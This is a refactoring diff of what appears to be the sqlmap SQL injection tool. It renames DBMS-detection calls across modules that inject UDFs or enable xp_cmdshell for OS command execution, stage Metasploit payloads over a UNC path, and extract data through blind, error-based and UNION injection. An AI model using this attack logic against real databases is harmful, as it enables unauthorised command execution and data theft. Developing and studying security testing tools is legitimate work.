@@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
@@ -41,10 +41,10 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
||||
self.webBackdoorRunCmd(cmd)
|
||||
|
||||
elif getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
elif backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
self.udfExecCmd(cmd, silent=silent)
|
||||
|
||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
||||
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||
self.xpCmdshellExecCmd(cmd, silent=silent)
|
||||
|
||||
else:
|
||||
@@ -55,10 +55,10 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
||||
return self.webBackdoorRunCmd(cmd)
|
||||
|
||||
elif getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
elif backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
return self.udfEvalCmd(cmd, first, last)
|
||||
|
||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
||||
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||
return self.xpCmdshellEvalCmd(cmd, first, last)
|
||||
|
||||
else:
|
||||
@@ -93,13 +93,13 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||
logger.info(infoMsg)
|
||||
|
||||
else:
|
||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
infoMsg = "going to use injected sys_eval and sys_exec "
|
||||
infoMsg += "user-defined functions for operating system "
|
||||
infoMsg += "command execution"
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
||||
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||
infoMsg = "going to use xp_cmdshell extended procedure for "
|
||||
infoMsg += "operating system command execution"
|
||||
logger.info(infoMsg)
|
||||
@@ -151,9 +151,9 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||
warnMsg += "the session user is not a database administrator"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
self.udfInjectSys()
|
||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
||||
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||
if mandatory:
|
||||
self.xpCmdshellInit()
|
||||
else:
|
||||
|
||||
@@ -19,7 +19,7 @@ from subprocess import PIPE
|
||||
from subprocess import Popen as execute
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import getLocalIP
|
||||
from lib.core.common import getRemoteIP
|
||||
from lib.core.common import getUnicode
|
||||
@@ -187,13 +187,13 @@ class Metasploit:
|
||||
if __payloadStr == "windows/vncinject":
|
||||
choose = False
|
||||
|
||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
||||
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||
debugMsg += "user, it is likely that the the VNC "
|
||||
debugMsg += "injection will be successful"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif getIdentifiedDBMS() == DBMS.PGSQL:
|
||||
elif backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||
choose = True
|
||||
|
||||
warnMsg = "by default PostgreSQL on Windows runs as "
|
||||
@@ -201,12 +201,12 @@ class Metasploit:
|
||||
warnMsg += "injection will be successful"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
elif backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
|
||||
choose = True
|
||||
|
||||
warnMsg = "it is unlikely that the VNC injection will be "
|
||||
warnMsg += "successful because usually Microsoft SQL Server "
|
||||
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
|
||||
warnMsg += "%s runs as Network Service " % backend.getVersion()
|
||||
warnMsg += "or the Administrator is not logged in"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -230,12 +230,12 @@ class Metasploit:
|
||||
break
|
||||
|
||||
elif choice == "1":
|
||||
if getIdentifiedDBMS() == DBMS.PGSQL:
|
||||
if backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||
logger.warn("beware that the VNC injection might not work")
|
||||
|
||||
break
|
||||
|
||||
elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
elif backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
|
||||
break
|
||||
|
||||
elif not choice.isdigit():
|
||||
@@ -555,7 +555,7 @@ class Metasploit:
|
||||
# This is useful for sqlmap because on PostgreSQL it is not
|
||||
# possible to write files bigger than 8192 bytes abusing the
|
||||
# lo_export() feature implemented in sqlmap.
|
||||
if getIdentifiedDBMS() == DBMS.PGSQL:
|
||||
if backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||
self.__fileFormat = "exe-small"
|
||||
else:
|
||||
self.__fileFormat = "exe"
|
||||
@@ -657,7 +657,7 @@ class Metasploit:
|
||||
self.__forgeMsfConsoleResource()
|
||||
self.__forgeMsfConsoleCmd()
|
||||
|
||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
|
||||
else:
|
||||
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
|
||||
|
||||
@@ -11,7 +11,7 @@ import os
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
@@ -51,7 +51,7 @@ class UDF:
|
||||
def __checkExistUdf(self, udf):
|
||||
logger.info("checking if UDF '%s' already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement(queries[getIdentifiedDBMS()].check_udf.query % (udf, udf))
|
||||
query = agent.forgeCaseStatement(queries[backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False, charsetType=2)
|
||||
|
||||
if exists == "1":
|
||||
@@ -104,7 +104,7 @@ class UDF:
|
||||
return output
|
||||
|
||||
def udfCheckNeeded(self):
|
||||
if ( not conf.rFile or ( conf.rFile and getIdentifiedDBMS() != DBMS.PGSQL ) ) and "sys_fileread" in self.sysUdfs:
|
||||
if ( not conf.rFile or ( conf.rFile and backend.getIdentifiedDbms() != DBMS.PGSQL ) ) and "sys_fileread" in self.sysUdfs:
|
||||
self.sysUdfs.pop("sys_fileread")
|
||||
|
||||
if not conf.osPwn:
|
||||
@@ -143,9 +143,9 @@ class UDF:
|
||||
if udf in self.udfToCreate and udf not in self.createdUdf:
|
||||
self.udfCreateFromSharedLib(udf, inpRet)
|
||||
|
||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
||||
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||
supportTblType = "longtext"
|
||||
elif getIdentifiedDBMS() == DBMS.PGSQL:
|
||||
elif backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||
supportTblType = "text"
|
||||
|
||||
self.udfCreateSupportTbl(supportTblType)
|
||||
@@ -156,8 +156,8 @@ class UDF:
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
|
||||
def udfInjectCustom(self):
|
||||
if getIdentifiedDBMS() not in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
errMsg = "UDF injection feature is not yet implemented on %s" % getIdentifiedDBMS()
|
||||
if backend.getIdentifiedDbms() not in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
errMsg = "UDF injection feature is not yet implemented on %s" % backend.getIdentifiedDbms()
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
||||
@@ -236,9 +236,9 @@ class UDF:
|
||||
else:
|
||||
logger.warn("you need to specify the name of the UDF")
|
||||
|
||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
||||
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||
defaultType = "string"
|
||||
elif getIdentifiedDBMS() == DBMS.PGSQL:
|
||||
elif backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||
defaultType = "text"
|
||||
|
||||
self.udfs[udfName]["input"] = []
|
||||
|
||||
@@ -7,6 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import wasLastRequestDelayed
|
||||
@@ -29,7 +30,7 @@ class xp_cmdshell:
|
||||
def __xpCmdshellCreate(self):
|
||||
cmd = ""
|
||||
|
||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
if backend.isVersionWithin(("2005", "2008")):
|
||||
logger.debug("activating sp_OACreate")
|
||||
|
||||
cmd += "EXEC master..sp_configure 'show advanced options', 1; "
|
||||
@@ -48,7 +49,7 @@ class xp_cmdshell:
|
||||
cmd += "EXEC sp_OADestroy @ID'; "
|
||||
cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
|
||||
|
||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
if backend.isVersionWithin(("2005", "2008")):
|
||||
cmd += " RECONFIGURE WITH OVERRIDE;"
|
||||
|
||||
inject.goStacked(cmd)
|
||||
@@ -80,7 +81,7 @@ class xp_cmdshell:
|
||||
return cmd
|
||||
|
||||
def __xpCmdshellConfigure(self, mode):
|
||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
if backend.isVersionWithin(("2005", "2008")):
|
||||
cmd = self.__xpCmdshellConfigure2005(mode)
|
||||
else:
|
||||
cmd = self.__xpCmdshellConfigure2000(mode)
|
||||
|
||||
@@ -12,12 +12,13 @@ import time
|
||||
import traceback
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import decodeIntToUnicode
|
||||
from lib.core.common import filterControlChars
|
||||
from lib.core.common import getCharset
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import goGoodSamaritan
|
||||
from lib.core.common import getPartRun
|
||||
from lib.core.common import popValue
|
||||
@@ -75,7 +76,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
|
||||
lastChar = int(lastChar)
|
||||
|
||||
if kb.dbmsDetected:
|
||||
if backend.getDbms():
|
||||
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||
@@ -125,7 +126,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
hintlock.release()
|
||||
|
||||
if hintValue is not None and len(hintValue) >= idx:
|
||||
if getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB):
|
||||
if backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB):
|
||||
posValue = hintValue[idx-1]
|
||||
else:
|
||||
posValue = ord(hintValue[idx-1])
|
||||
@@ -456,7 +457,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
# check it via equal against the substring-query output
|
||||
if commonPattern is not None:
|
||||
# Substring-query containing equals commonPattern
|
||||
subquery = queries[getIdentifiedDBMS()].substring.query % (expressionUnescaped, 1, len(commonPattern))
|
||||
subquery = queries[backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
|
||||
testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
|
||||
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
|
||||
query = agent.suffixQuery(query)
|
||||
|
||||
@@ -15,7 +15,7 @@ from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import filterListValue
|
||||
from lib.core.common import getFileItems
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import getPageTextWordsSet
|
||||
from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
@@ -32,7 +32,7 @@ from lib.core.session import safeFormatString
|
||||
from lib.request import inject
|
||||
|
||||
def tableExists(tableFile, regex=None):
|
||||
tables = getFileItems(tableFile, lowercase=getIdentifiedDBMS() in (DBMS.ACCESS), unique=True)
|
||||
tables = getFileItems(tableFile, lowercase=backend.getIdentifiedDbms() in (DBMS.ACCESS), unique=True)
|
||||
retVal = []
|
||||
|
||||
infoMsg = "checking table existence using items from '%s'" % tableFile
|
||||
|
||||
@@ -14,7 +14,7 @@ from lib.core.agent import agent
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import initTechnique
|
||||
from lib.core.common import isNumPosStrValue
|
||||
from lib.core.common import randomInt
|
||||
@@ -40,7 +40,7 @@ def __oneShotErrorUse(expression, field):
|
||||
check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
|
||||
nulledCastedField = agent.nullAndCastField(field)
|
||||
|
||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
||||
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||
# Fix for MySQL odd behaviour ('Subquery returns more than 1 row')
|
||||
nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))")
|
||||
|
||||
@@ -142,14 +142,14 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
||||
# entry per time
|
||||
# NOTE: I assume that only queries that get data from a table can
|
||||
# return multiple entries
|
||||
if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper():
|
||||
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
|
||||
if " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))) and "EXISTS(" not in expression.upper():
|
||||
limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
|
||||
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
||||
|
||||
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
||||
if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
@@ -157,10 +157,10 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if limitRegExp:
|
||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
||||
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
@@ -172,7 +172,7 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
||||
stopLimit = int(topLimit.group(1))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
||||
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||
limitCond = False
|
||||
else:
|
||||
limitCond = True
|
||||
@@ -186,12 +186,12 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
||||
|
||||
# From now on we need only the expression until the " LIMIT "
|
||||
# (or similar, depending on the back-end DBMS) word
|
||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
stopLimit += startLimit
|
||||
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
|
||||
untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query)
|
||||
expression = expression[:untilLimitChar]
|
||||
|
||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
stopLimit += startLimit
|
||||
elif dump:
|
||||
if conf.limitStart:
|
||||
@@ -200,14 +200,14 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
||||
stopLimit = conf.limitStop
|
||||
|
||||
if not stopLimit or stopLimit <= 1:
|
||||
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
|
||||
if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
|
||||
test = False
|
||||
else:
|
||||
test = True
|
||||
|
||||
if test:
|
||||
# Count the number of SQL query entries output
|
||||
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
|
||||
countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
|
||||
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
||||
|
||||
if re.search(" ORDER BY ", expression, re.I):
|
||||
|
||||
@@ -12,7 +12,7 @@ import time
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import clearConsoleLine
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import parseUnionPage
|
||||
from lib.core.common import randomStr
|
||||
@@ -98,14 +98,14 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix
|
||||
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
|
||||
|
||||
for count in range(conf.uColsStart, conf.uColsStop+1):
|
||||
if getIdentifiedDBMS() in FROM_TABLE and query.endswith(FROM_TABLE[getIdentifiedDBMS()]):
|
||||
query = query[:-len(FROM_TABLE[getIdentifiedDBMS()])]
|
||||
if backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
|
||||
query = query[:-len(FROM_TABLE[backend.getIdentifiedDbms()])]
|
||||
|
||||
if count:
|
||||
query += ", %s" % conf.uChar
|
||||
|
||||
if getIdentifiedDBMS() in FROM_TABLE:
|
||||
query += FROM_TABLE[getIdentifiedDBMS()]
|
||||
if backend.getIdentifiedDbms() in FROM_TABLE:
|
||||
query += FROM_TABLE[backend.getIdentifiedDbms()]
|
||||
|
||||
status = "%d/%d" % (count, conf.uColsStop)
|
||||
debugMsg = "testing %s columns (%d%%)" % (status, round(100.0*count/conf.uColsStop))
|
||||
|
||||
@@ -14,7 +14,7 @@ from lib.core.agent import agent
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import clearConsoleLine
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import initTechnique
|
||||
from lib.core.common import isNumPosStrValue
|
||||
@@ -103,14 +103,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||
# entry per time
|
||||
# NOTE: I assume that only queries that get data from a table can
|
||||
# return multiple entries
|
||||
if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper():
|
||||
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
|
||||
if " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))) and "EXISTS(" not in expression.upper():
|
||||
limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
|
||||
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
||||
|
||||
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
||||
if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
@@ -118,10 +118,10 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if limitRegExp:
|
||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
||||
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
@@ -133,7 +133,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||
stopLimit = int(topLimit.group(1))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
||||
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||
limitCond = False
|
||||
else:
|
||||
limitCond = True
|
||||
@@ -147,12 +147,12 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||
|
||||
# From now on we need only the expression until the " LIMIT "
|
||||
# (or similar, depending on the back-end DBMS) word
|
||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
stopLimit += startLimit
|
||||
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
|
||||
untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query)
|
||||
expression = expression[:untilLimitChar]
|
||||
|
||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
stopLimit += startLimit
|
||||
elif dump:
|
||||
if conf.limitStart:
|
||||
@@ -161,14 +161,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||
stopLimit = conf.limitStop
|
||||
|
||||
if not stopLimit or stopLimit <= 1:
|
||||
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
|
||||
if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
|
||||
test = False
|
||||
else:
|
||||
test = True
|
||||
|
||||
if test:
|
||||
# Count the number of SQL query entries output
|
||||
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
|
||||
countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
|
||||
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
||||
|
||||
if re.search(" ORDER BY ", expression, re.I):
|
||||
@@ -216,9 +216,9 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||
|
||||
try:
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
field = expressionFieldsList[0]
|
||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
||||
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||
field = expressionFieldsList
|
||||
else:
|
||||
field = None
|
||||
|
||||
@@ -22,7 +22,7 @@ from lib.core.common import clearConsoleLine
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getCompiledRegex
|
||||
from lib.core.common import getFileItems
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import paths
|
||||
@@ -270,9 +270,9 @@ def hashRecognition(value):
|
||||
if value:
|
||||
for name, regex in getPublicTypeMembers(HASH):
|
||||
# Hashes for Oracle and old MySQL look the same hence these checks
|
||||
if getIdentifiedDBMS() == DBMS.ORACLE and regex == HASH.MYSQL_OLD:
|
||||
if backend.getIdentifiedDbms() == DBMS.ORACLE and regex == HASH.MYSQL_OLD:
|
||||
continue
|
||||
elif getIdentifiedDBMS() == DBMS.MYSQL and regex == HASH.ORACLE_OLD:
|
||||
elif backend.getIdentifiedDbms() == DBMS.MYSQL and regex == HASH.ORACLE_OLD:
|
||||
continue
|
||||
elif getCompiledRegex(regex).match(value):
|
||||
retVal = regex
|
||||
|
||||
@@ -13,7 +13,7 @@ import time
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import safeStringFormat
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import replaceNewlineTabs
|
||||
@@ -34,7 +34,7 @@ def queryOutputLength(expression, payload):
|
||||
Returns the query output length.
|
||||
"""
|
||||
|
||||
lengthQuery = queries[getIdentifiedDBMS()].length.query
|
||||
lengthQuery = queries[backend.getIdentifiedDbms()].length.query
|
||||
select = re.search("\ASELECT\s+", expression, re.I)
|
||||
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
|
||||
@@ -60,7 +60,7 @@ def queryOutputLength(expression, payload):
|
||||
if selectDistinctExpr:
|
||||
lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression)
|
||||
|
||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
